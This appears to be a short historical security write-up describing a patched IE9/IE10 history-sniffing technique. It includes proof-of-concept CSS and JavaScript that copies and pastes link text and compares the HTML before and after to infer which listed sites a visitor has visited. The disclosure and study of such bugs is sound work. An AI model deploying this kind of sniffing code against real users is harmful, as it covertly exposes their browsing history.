IE9/IE10: History Sniffing via Copy-Paste Color Change

This was a novel history-sniffing technique that used the clipboard rather than CSS color measurements. When you select part of a hyperlink’s text and paste it back onto itself inside a visited link, IE injects a <font> tag with a color attribute. By comparing the HTML before and after the copy-paste operation, a page can determine whether each link has been visited — without ever reading computed styles.

<style type="text/css">
a:link    { background-color: #aaddff; }
a:visited { background-Color: #ffff00; }
</style>

<script>
var siteList = ['www.google.com', 'www.bing.com', 'www.microsoft.com','www.facebook.com', 'www.altavista.com'];

function getVisitedSites()
{
    for (var i = 0; i < siteList.length; i++)
    {
        var bodyRange = document.body.createTextRange();
        var strToFind = siteList[i].substring(siteList[i].indexOf('.')+1);
        bodyRange.findText(strToFind);

        bodyRange.select();
        var htmlBeforeCopyPaste = bodyRange.htmlText;
        document.execCommand("Copy");
        document.execCommand("Paste"); // IE injects a font tag here for visited links.
        var htmlAfterCopyPaste = bodyRange.htmlText;

        if (htmlBeforeCopyPaste != htmlAfterCopyPaste)
        {
            taVisitedSites.value += siteList[i] + '\n';
        }
    }
}
</script>

The page presents the user with a clipboard-access permission dialog, which is the one interaction required. After granting access, the script iterates through each link, selects a substring of its text, copies and pastes it, and checks whether IE modified the HTML. A paste into a visited link adds a <font color="..."> tag that was not there before — that difference is the signal. Confirmed on IE9 and IE10.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.